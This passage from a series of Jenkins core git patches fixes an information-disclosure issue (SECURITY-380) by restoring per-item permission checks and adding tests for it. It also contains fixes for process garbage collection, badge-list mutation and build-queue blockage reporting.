that link working + return pv; + } + } + } } return null; } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index d5d4566ec8..d0c07bc41e 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3057,7 +3057,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve views.add(0,v); primaryView = v.getViewName(); } - primaryView =AllView.applyJenkins38606Fixup(views, primaryView); + primaryView = AllView.migrateLegacyPrimaryAllViewLocalizedName(views, primaryView); if (useSecurity!=null && !useSecurity) { // forced reset to the unsecure mode. -- GitLab From 8de0056065b718efb9943394fab4616ea72fadf5 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 7 Dec 2016 18:32:59 +0100 Subject: [PATCH 387/712] [FIX SECURITY-380] Don't optimize permission check in getItems() --- core/src/main/java/jenkins/model/Jenkins.java | 6 -- .../jenkins/security/Security380Test.java | 95 +++++++++++++++++++ 2 files changed, 95 insertions(+), 6 deletions(-) create mode 100644 test/src/test/java/jenkins/security/Security380Test.java diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index a2d54fe19b..470496b9ac 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -136,7 +136,6 @@ import hudson.security.AccessControlled; import hudson.security.AuthorizationStrategy; import hudson.security.BasicAuthenticationFilter; import hudson.security.FederatedLoginService; -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; import hudson.security.HudsonFilter; import hudson.security.LegacyAuthorizationStrategy; import hudson.security.LegacySecurityRealm; @@ -1479,11 +1478,6 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @Exported(name="jobs") public List getItems() { - if (authorizationStrategy instanceof AuthorizationStrategy.Unsecured || - authorizationStrategy instanceof FullControlOnceLoggedInAuthorizationStrategy) { - return new ArrayList(items.values()); - } - List viewableItems = new ArrayList(); for (TopLevelItem item : items.values()) { if (item.hasPermission(Item.READ)) diff --git a/test/src/test/java/jenkins/security/Security380Test.java b/test/src/test/java/jenkins/security/Security380Test.java new file mode 100644 index 0000000000..5d3475df92 --- /dev/null +++ b/test/src/test/java/jenkins/security/Security380Test.java @@ -0,0 +1,95 @@ +package jenkins.security; + +import com.gargoylesoftware.htmlunit.Page; +import hudson.model.UnprotectedRootAction; +import hudson.security.ACL; +import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; +import hudson.util.HttpResponses; +import jenkins.model.Jenkins; +import org.junit.Assert; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.TestExtension; +import org.kohsuke.stapler.HttpResponse; + +public class Security380Test { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Issue("SECURITY-380") + @Test + public void testGetItemsWithoutAnonRead() throws Exception { + FullControlOnceLoggedInAuthorizationStrategy strategy = new FullControlOnceLoggedInAuthorizationStrategy(); + strategy.setAllowAnonymousRead(false); + Jenkins.getInstance().setAuthorizationStrategy(strategy); + + Jenkins.getInstance().setSecurityRealm(j.createDummySecurityRealm()); + + j.createFreeStyleProject(); + ACL.impersonate(Jenkins.ANONYMOUS, new Runnable() { + @Override + public void run() { + Assert.assertEquals("no items", 0, Jenkins.getInstance().getItems().size()); + } + }); + } + + @Issue("SECURITY-380") + @Test + public void testGetItems() throws Exception { + FullControlOnceLoggedInAuthorizationStrategy strategy = new FullControlOnceLoggedInAuthorizationStrategy(); + strategy.setAllowAnonymousRead(true); + Jenkins.getInstance().setAuthorizationStrategy(strategy); + + Jenkins.getInstance().setSecurityRealm(j.createDummySecurityRealm()); + + j.createFreeStyleProject(); + ACL.impersonate(Jenkins.ANONYMOUS, new Runnable() { + @Override + public void run() { + Assert.assertEquals("one item", 1, Jenkins.getInstance().getItems().size()); + } + }); + } + + @Issue("SECURITY-380") + @Test + public void testWithUnprotectedRootAction() throws Exception { + FullControlOnceLoggedInAuthorizationStrategy strategy = new FullControlOnceLoggedInAuthorizationStrategy(); + strategy.setAllowAnonymousRead(false); + Jenkins.getInstance().setAuthorizationStrategy(strategy); + + Jenkins.getInstance().setSecurityRealm(j.createDummySecurityRealm()); + j.createFreeStyleProject(); + + JenkinsRule.WebClient wc = j.createWebClient(); + Page page = wc.goTo("listJobs", "text/plain"); + Assert.assertEquals("expect 0 items", "0", page.getWebResponse().getContentAsString().trim()); + } + + @TestExtension + public static class JobListingUnprotectedRootAction implements UnprotectedRootAction { + + @Override + public String getIconFileName() { + return null; + } + + @Override + public String getDisplayName() { + return null; + } + + @Override + public String getUrlName() { + return "listJobs"; + } + + public HttpResponse doIndex() throws Exception { + return HttpResponses.plainText(Integer.toString(Jenkins.getInstance().getItems().size())); + } + } +} -- GitLab From fcfd271ad5ad5947075052d37177249c760f6184 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 20 Nov 2016 00:53:42 +0100 Subject: [PATCH 388/712] [JENKINS-23271] - Prevent early deallocation of the Proc instance by GC in ProcStarter#join() (#2635) * [JENKINS-23271] - Prevent the prelimimary deallocation of the Proc instance by GC It is a hackish way, which likely prevents a preliminary deallocation of the spawned RemoteProc instance, which we see in JENKINS-23271. Proc instance was not actually required in the original code since we were creating and using RemoteInvocationHandler wrapper only, and the theory discussed with @stephenc was that object gets removed by Java8 garbage collector before we get into join(). This fix enforces the persistency of ProcStarter#start() result by adding logging and the enforced volatile field (maybe the last one is not really required, but JIT compiler in Java implementations may be smart enough to skip unused loggers) This is a pretty old fix from August, which has been soak tested on my instance for several weeks (mid-August => Jenkins World). On the reference instance (just a small Jenkins instance with 4 agents and very frequent builds with CommandInterpreter steps) I saw 2 failures over the period. On the fixed instance - 0. It does not proof anything, but at least the fix was soak tested a bit * [JENKINS-23271] - Get rid of the procHolderForJoin field * [JENKINS-23271] - Also put the check into the finally statement as @stephenc proposed * Remove assert (cherry picked from commit fd6c6aff929be9818f4eb4b84ed6b4593356853f) --- core/src/main/java/hudson/Launcher.java | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 4a6ed74f85..3f8c24d3a4 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -42,6 +42,8 @@ import org.apache.commons.io.input.NullInputStream; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; +import javax.annotation.concurrent.GuardedBy; import java.io.BufferedOutputStream; import java.io.File; import java.io.IOException; @@ -383,9 +385,25 @@ public abstract class Launcher { /** * Starts the process and waits for its completion. + * @return Return code of the invoked process + * @throws IOException Operation error (e.g. remote call failure) + * @throws InterruptedException The process has been interrupted */ public int join() throws IOException, InterruptedException { - return start().join(); + // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 + final Proc procHolderForJoin = start(); + LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + } + } } /** -- GitLab From 5500e5c00bc19e6c421c9aaa88f6dbb57c666db3 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 3 Dec 2016 16:55:35 +0100 Subject: [PATCH 389/712] [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods (#2653) * [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods * [JENKINS-23271] - Also prevent the issue when the kill() command is the last call in the usage sequence (cherry picked from commit 29893354a52efac20efcb4e0e91723f3bd889059) --- core/src/main/java/hudson/Launcher.java | 51 +++++++++++++++++++------ core/src/main/java/hudson/Proc.java | 32 ++++++++++++++-- 2 files changed, 68 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 3f8c24d3a4..4e8d0b58ab 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -59,6 +59,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import static org.apache.commons.io.output.NullOutputStream.NULL_OUTPUT_STREAM; +import hudson.Proc.ProcWithJenkins23271Patch; /** * Starts a process. @@ -393,15 +394,27 @@ public abstract class Launcher { // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 final Proc procHolderForJoin = start(); LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); - try { - final int returnCode = procHolderForJoin.join(); - if (LOGGER.isLoggable(Level.FINER)) { - LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + + if (procHolderForJoin instanceof ProcWithJenkins23271Patch) { + return procHolderForJoin.join(); + } else { + // Fallback to the internal handling logic + if (!(procHolderForJoin instanceof LocalProc)) { + // We consider that the process may be at risk of JENKINS-23271 + LOGGER.log(Level.FINE, "Process {0} of type {1} is neither {2} nor instance of {3}. " + + "If this process operates with Jenkins agents via remote invocation, you may get into JENKINS-23271", + new Object[] {procHolderForJoin, procHolderForJoin.getClass(), LocalProc.class, ProcWithJenkins23271Patch.class}); } - return returnCode; - } finally { - if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis - LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not finished after the join() method completion", procHolderForJoin); + } } } } @@ -990,7 +1003,7 @@ public abstract class Launcher { private static final long serialVersionUID = 1L; } - public static final class ProcImpl extends Proc { + public static final class ProcImpl extends Proc implements ProcWithJenkins23271Patch { private final RemoteProcess process; private final IOTriplet io; @@ -1001,12 +1014,28 @@ public abstract class Launcher { @Override public void kill() throws IOException, InterruptedException { - process.kill(); + try { + process.kill(); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override public int join() throws IOException, InterruptedException { - return process.join(); + try { + final int returnCode = process.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{this, returnCode}); + } + return returnCode; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } + } } @Override diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index a2d1729827..abe104462a 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -49,6 +49,8 @@ import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * External process wrapper. @@ -431,7 +433,7 @@ public abstract class Proc { * @deprecated as of 1.399. Replaced by {@link Launcher.RemoteLauncher.ProcImpl} */ @Deprecated - public static final class RemoteProc extends Proc { + public static final class RemoteProc extends Proc implements ProcWithJenkins23271Patch { private final Future process; public RemoteProc(Future process) { @@ -440,7 +442,14 @@ public abstract class Proc { @Override public void kill() throws IOException, InterruptedException { - process.cancel(true); + try { + process.cancel(true); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + // TODO: Report exceptions if they happen? + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override @@ -448,8 +457,8 @@ public abstract class Proc { try { return process.get(); } catch (InterruptedException e) { - // aborting. kill the process - process.cancel(true); + LOGGER.log(Level.FINE, String.format("Join operation has been interrupted for the process %s. Killing the process", this), e); + kill(); throw e; } catch (ExecutionException e) { if(e.getCause() instanceof IOException) @@ -457,6 +466,10 @@ public abstract class Proc { throw new IOException("Failed to join the process",e); } catch (CancellationException x) { return -1; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } } } @@ -486,4 +499,15 @@ public abstract class Proc { * Debug switch to have the thread display the process it's waiting for. */ public static boolean SHOW_PID = false; + + /** + * An instance of {@link Proc}, which has an internal workaround for JENKINS-23271. + * It presumes that the instance of the object is guaranteed to be used after the {@link Proc#join()} call. + * See JENKINS-23271> + * @author Oleg Nenashev + */ + @Restricted(NoExternalUse.class) + public interface ProcWithJenkins23271Patch { + // Empty marker interface + } } -- GitLab From 5c79beb3efc0058d38a36a302362e69625231377 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 8 Dec 2016 18:03:45 -0500 Subject: [PATCH 390/712] [FIXED JENKINS-40281] Do not try to mutate the result of getActions(Class). --- core/src/main/java/hudson/model/Run.java | 1 + test/src/test/java/hudson/model/RunTest.java | 14 ++++++++++++++ 2 files changed, 15 insertions(+) diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index dfb4dffd14..338475983c 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -480,6 +480,7 @@ public abstract class Run ,RunT extends Run getBadgeActions() { List r = getActions(BuildBadgeAction.class); if(isKeepLog()) { + r = new ArrayList<>(r); r.add(new KeepLogBuildBadge()); } return r; diff --git a/test/src/test/java/hudson/model/RunTest.java b/test/src/test/java/hudson/model/RunTest.java index 0d872f8840..92cbef2081 100644 --- a/test/src/test/java/hudson/model/RunTest.java +++ b/test/src/test/java/hudson/model/RunTest.java @@ -26,6 +26,8 @@ package hudson.model; import java.net.HttpURLConnection; import java.util.Collection; import java.util.Collections; +import java.util.List; +import static org.junit.Assert.*; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.Issue; @@ -59,4 +61,16 @@ public class RunTest { j.createWebClient().assertFails("job/stuff/1/nonexistent", HttpURLConnection.HTTP_NOT_FOUND); } + @Issue("JENKINS-40281") + @Test public void getBadgeActions() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + FreeStyleBuild b = j.buildAndAssertSuccess(p); + assertEquals(0, b.getBadgeActions().size()); + assertTrue(b.canToggleLogKeep()); + b.keepLog(); + List badgeActions = b.getBadgeActions(); + assertEquals(1, badgeActions.size()); + assertEquals(Run.KeepLogBuildBadge.class, badgeActions.get(0).getClass()); + } + } -- GitLab From 8d23041d4b785947dee1bc02f54a41d86b59bdda Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 05:04:22 -0500 Subject: [PATCH 391/712] [JENKINS-38514] Retain CauseOfBlockage from JobOffer (#2651) * Converted to JenkinsRule. * Improved messages from Node.canTake. * [FIXED JENKINS-38514] BuildableItem needs to retain information from JobOffer about why it is neither blocked nor building. * Converted to JenkinsRule. * Found an existing usage of BecauseNodeIsNotAcceptingTasks. * Original JENKINS-6598 test was checking behavior we want amended by JENKINS-38514. * Ensure that a BuildableItem which is simply waiting for a free executor reports that as its CauseOfBlockage. * Review comments from @oleg-nenashev. --- core/src/main/java/hudson/model/Node.java | 8 +- core/src/main/java/hudson/model/Queue.java | 76 +++++++++++++++---- .../hudson/model/queue/CauseOfBlockage.java | 33 +++++++- .../model/queue/CompositeCauseOfBlockage.java | 63 +++++++++++++++ .../hudson/model/Messages.properties | 4 +- .../CompositeCauseOfBlockage/summary.jelly | 32 ++++++++ .../model/queue/QueueTaskDispatcherTest.java | 74 +++++++++++++++--- .../hudson/slaves/NodeCanTakeTaskTest.java | 75 +++++++++++------- 8 files changed, 306 insertions(+), 59 deletions(-) create mode 100644 core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java create mode 100644 core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly diff --git a/core/src/main/java/hudson/model/Node.java b/core/src/main/java/hudson/model/Node.java index d7c4071428..54f7910bbe 100644 --- a/core/src/main/java/hudson/model/Node.java +++ b/core/src/main/java/hudson/model/Node.java @@ -372,7 +372,7 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable public CauseOfBlockage canTake(Queue.BuildableItem item) { Label l = item.getAssignedLabel(); if(l!=null && !l.contains(this)) - return CauseOfBlockage.fromMessage(Messages._Node_LabelMissing(getNodeName(),l)); // the task needs to be executed on label that this node doesn't have. + return CauseOfBlockage.fromMessage(Messages._Node_LabelMissing(getDisplayName(), l)); // the task needs to be executed on label that this node doesn't have. if(l==null && getMode()== Mode.EXCLUSIVE) { // flyweight tasks need to get executed somewhere, if every node @@ -381,14 +381,14 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable || Jenkins.getInstance().getNumExecutors() < 1 || Jenkins.getInstance().getMode() == Mode.EXCLUSIVE) )) { - return CauseOfBlockage.fromMessage(Messages._Node_BecauseNodeIsReserved(getNodeName())); // this node is reserved for tasks that are tied to it + return CauseOfBlockage.fromMessage(Messages._Node_BecauseNodeIsReserved(getDisplayName())); // this node is reserved for tasks that are tied to it } } Authentication identity = item.authenticate(); if (!getACL().hasPermission(identity,Computer.BUILD)) { // doesn't have a permission - return CauseOfBlockage.fromMessage(Messages._Node_LackingBuildPermission(identity.getName(),getNodeName())); + return CauseOfBlockage.fromMessage(Messages._Node_LackingBuildPermission(identity.getName(), getDisplayName())); } // Check each NodeProperty to see whether they object to this node @@ -399,7 +399,7 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable } if (!isAcceptingTasks()) { - return CauseOfBlockage.fromMessage(Messages._Node_BecauseNodeIsNotAcceptingTasks(getNodeName())); + return new CauseOfBlockage.BecauseNodeIsNotAcceptingTasks(this); } // Looks like we can take the task diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index bbc227604e..66fc9f3f93 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -61,6 +61,7 @@ import hudson.model.queue.CauseOfBlockage.BecauseNodeIsOffline; import hudson.model.queue.CauseOfBlockage.BecauseLabelIsOffline; import hudson.model.queue.CauseOfBlockage.BecauseNodeIsBusy; import hudson.model.queue.WorkUnitContext; +import hudson.security.ACL; import hudson.security.AccessControlled; import jenkins.security.QueueItemAuthenticatorProvider; import jenkins.util.Timer; @@ -122,10 +123,10 @@ import org.kohsuke.accmod.restrictions.DoNotUse; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; -import jenkins.util.SystemProperties; import javax.annotation.CheckForNull; import javax.annotation.Nonnegative; import jenkins.model.queue.AsynchronousExecution; +import jenkins.model.queue.CompositeCauseOfBlockage; import org.kohsuke.stapler.QueryParameter; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -219,7 +220,7 @@ public class Queue extends ResourceController implements Saveable { * to assign a work. Once a work is assigned, the executor actually gets * started to carry out the task in question. */ - public class JobOffer extends MappingWorksheet.ExecutorSlot { + public static class JobOffer extends MappingWorksheet.ExecutorSlot { public final Executor executor; /** @@ -246,20 +247,44 @@ public class Queue extends ResourceController implements Saveable { } /** - * Verifies that the {@link Executor} represented by this object is capable of executing the given task. + * @deprecated discards information; prefer {@link #getCauseOfBlockage} */ + @Deprecated public boolean canTake(BuildableItem item) { - Node node = getNode(); - if (node==null) return false; // this executor is about to die - - if(node.canTake(item)!=null) - return false; // this node is not able to take the task - - for (QueueTaskDispatcher d : QueueTaskDispatcher.all()) - if (d.canTake(node,item)!=null) - return false; + return getCauseOfBlockage(item) == null; + } - return isAvailable(); + /** + * Checks whether the {@link Executor} represented by this object is capable of executing the given task. + * @return a reason why it cannot, or null if it could + * @since FIXME + */ + public @CheckForNull CauseOfBlockage getCauseOfBlockage(BuildableItem item) { + Node node = getNode(); + if (node == null) { + return CauseOfBlockage.fromMessage(Messages._Queue_node_has_been_removed_from_configuration(executor.getOwner().getDisplayName())); + } + CauseOfBlockage reason = node.canTake(item); + if (reason != null) { + return reason; + } + for (QueueTaskDispatcher d : QueueTaskDispatcher.all()) { + reason = d.canTake(node, item); + if (reason != null) { + return reason; + } + } + // inlining isAvailable: + if (workUnit != null) { // unlikely in practice (should not have even found this executor if so) + return CauseOfBlockage.fromMessage(Messages._Queue_executor_slot_already_in_use()); + } + if (executor.getOwner().isOffline()) { + return new CauseOfBlockage.BecauseNodeIsOffline(node); + } + if (!executor.getOwner().isAcceptingTasks()) { // Node.canTake (above) does not consider RetentionStrategy.isAcceptingTasks + return new CauseOfBlockage.BecauseNodeIsNotAcceptingTasks(node); + } + return null; } /** @@ -1521,13 +1546,18 @@ public class Queue extends ResourceController implements Saveable { } } else { - List candidates = new ArrayList(parked.size()); + List candidates = new ArrayList<>(parked.size()); + List reasons = new ArrayList<>(parked.size()); for (JobOffer j : parked.values()) { - if (j.canTake(p)) { + CauseOfBlockage reason = j.getCauseOfBlockage(p); + if (reason == null) { LOGGER.log(Level.FINEST, "{0} is a potential candidate for task {1}", - new Object[]{j.executor.getDisplayName(), taskDisplayName}); + new Object[]{j, taskDisplayName}); candidates.add(j); + } else { + LOGGER.log(Level.FINEST, "{0} rejected {1}: {2}", new Object[] {j, taskDisplayName, reason}); + reasons.add(reason); } } @@ -1539,6 +1569,7 @@ public class Queue extends ResourceController implements Saveable { // check if we can execute other projects LOGGER.log(Level.FINER, "Failed to map {0} to executors. candidates={1} parked={2}", new Object[]{p, candidates, parked.values()}); + p.transientCausesOfBlockage = reasons.isEmpty() ? null : reasons; continue; } @@ -2465,6 +2496,12 @@ public class Queue extends ResourceController implements Saveable { */ private boolean isPending; + /** + * Reasons why the last call to {@link #maintain} left this buildable (but not blocked or executing). + * May be null but not empty. + */ + private transient volatile @CheckForNull List transientCausesOfBlockage; + public BuildableItem(WaitingItem wi) { super(wi); } @@ -2478,6 +2515,8 @@ public class Queue extends ResourceController implements Saveable { if(isBlockedByShutdown(task)) return CauseOfBlockage.fromMessage(Messages._Queue_HudsonIsAboutToShutDown()); + List causesOfBlockage = transientCausesOfBlockage; + Label label = getAssignedLabel(); List allNodes = jenkins.getNodes(); if (allNodes.isEmpty()) @@ -2489,9 +2528,14 @@ public class Queue extends ResourceController implements Saveable { if (nodes.size() != 1) return new BecauseLabelIsOffline(label); else return new BecauseNodeIsOffline(nodes.iterator().next()); } else { + if (causesOfBlockage != null && label.getIdleExecutors() > 0) { + return new CompositeCauseOfBlockage(causesOfBlockage); + } if (nodes.size() != 1) return new BecauseLabelIsBusy(label); else return new BecauseNodeIsBusy(nodes.iterator().next()); } + } else if (causesOfBlockage != null && new ComputerSet().getIdleExecutors() > 0) { + return new CompositeCauseOfBlockage(causesOfBlockage); } else { return CauseOfBlockage.createNeedsMoreExecutor(Messages._Queue_WaitingForNextAvailableExecutor()); } diff --git a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java index 5cb6587036..2235d98218 100644 --- a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java +++ b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java @@ -1,12 +1,14 @@ package hudson.model.queue; import hudson.console.ModelHyperlinkNote; +import hudson.model.Computer; import hudson.model.Queue.Task; import hudson.model.Node; import hudson.model.Messages; import hudson.model.Label; import hudson.model.TaskListener; import hudson.slaves.Cloud; +import javax.annotation.Nonnull; import org.jvnet.localizer.Localizable; /** @@ -42,8 +44,10 @@ public abstract class CauseOfBlockage { /** * Obtains a simple implementation backed by {@link Localizable}. */ - public static CauseOfBlockage fromMessage(final Localizable l) { + public static CauseOfBlockage fromMessage(@Nonnull final Localizable l) { + l.getKey(); // null check return new CauseOfBlockage() { + @Override public String getShortDescription() { return l.toString(); } @@ -103,6 +107,33 @@ public abstract class CauseOfBlockage { } } + /** + * Build is blocked because a node (or its retention strategy) is not accepting tasks. + * @since FIXME + */ + public static final class BecauseNodeIsNotAcceptingTasks extends CauseOfBlockage implements NeedsMoreExecutor { + + public final Node node; + + public BecauseNodeIsNotAcceptingTasks(Node node) { + this.node = node; + } + + @Override + public String getShortDescription() { + Computer computer = node.toComputer(); + String name = computer != null ? computer.getDisplayName() : node.getDisplayName(); + return Messages.Node_BecauseNodeIsNotAcceptingTasks(name); + } + + @Override + public void print(TaskListener listener) { + listener.getLogger().println( + Messages.Node_BecauseNodeIsNotAcceptingTasks(ModelHyperlinkNote.encodeTo(node))); + } + + } + /** * Build is blocked because all the nodes that match a given label is offline. */ diff --git a/core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java b/core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java new file mode 100644 index 0000000000..9cb04c3bb7 --- /dev/null +++ b/core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java @@ -0,0 +1,63 @@ +/* + * The MIT License + * + * Copyright 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.model.queue; + +import hudson.model.TaskListener; +import hudson.model.queue.CauseOfBlockage; +import java.util.List; +import java.util.Map; +import java.util.TreeMap; +import org.apache.commons.lang.StringUtils; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +/** + * Represents the fact that there was at least one {@link hudson.model.Queue.JobOffer} which rejected a task. + */ +@Restricted(NoExternalUse.class) +public class CompositeCauseOfBlockage extends CauseOfBlockage { + + public final Map uniqueReasons; + + public CompositeCauseOfBlockage(List delegates) { + uniqueReasons = new TreeMap<>(); + for (CauseOfBlockage delegate : delegates) { + uniqueReasons.put(delegate.getShortDescription(), delegate); + } + } + + @Override + public String getShortDescription() { + return StringUtils.join(uniqueReasons.keySet(), "; "); + } + + @Override + public void print(TaskListener listener) { + for (CauseOfBlockage delegate : uniqueReasons.values()) { + delegate.print(listener); + } + } + +} diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 454e2d98f2..676ebb12d0 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -194,6 +194,8 @@ Queue.Unknown=??? Queue.WaitingForNextAvailableExecutor=Waiting for next available executor Queue.WaitingForNextAvailableExecutorOn=Waiting for next available executor on {0} Queue.init=Restoring the build queue +Queue.node_has_been_removed_from_configuration={0} has been removed from configuration +Queue.executor_slot_already_in_use=Executor slot already in use ResultTrend.Aborted=Aborted ResultTrend.Failure=Failure @@ -335,7 +337,7 @@ PasswordParameterDefinition.DisplayName=Password Parameter Node.BecauseNodeIsReserved={0} is reserved for jobs with matching label expression Node.BecauseNodeIsNotAcceptingTasks={0} is not accepting tasks Node.LabelMissing={0} doesn\u2019t have label {1} -Node.LackingBuildPermission={0} doesn\u2019t have a permission to run on {1} +Node.LackingBuildPermission={0} lacks permission to run on {1} Node.Mode.NORMAL=Use this node as much as possible Node.Mode.EXCLUSIVE=Only build jobs with label expressions matching this node diff --git a/core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly b/core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly new file mode 100644 index 0000000000..76fc4313b0 --- /dev/null +++ b/core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly @@ -0,0 +1,32 @@ + + + + + + + ; + + + diff --git a/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java b/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java index 965c6be617..a163edcdb8 100644 --- a/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java +++ b/test/src/test/java/hudson/model/queue/QueueTaskDispatcherTest.java @@ -1,28 +1,45 @@ package hudson.model.queue; import hudson.model.FreeStyleProject; +import hudson.model.Node; +import hudson.model.Queue; import hudson.model.Queue.Item; - -import org.jvnet.hudson.test.HudsonTestCase; +import hudson.model.TaskListener; +import hudson.util.StreamTaskListener; +import java.io.StringWriter; +import java.util.logging.Level; +import static org.hamcrest.Matchers.containsString; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import 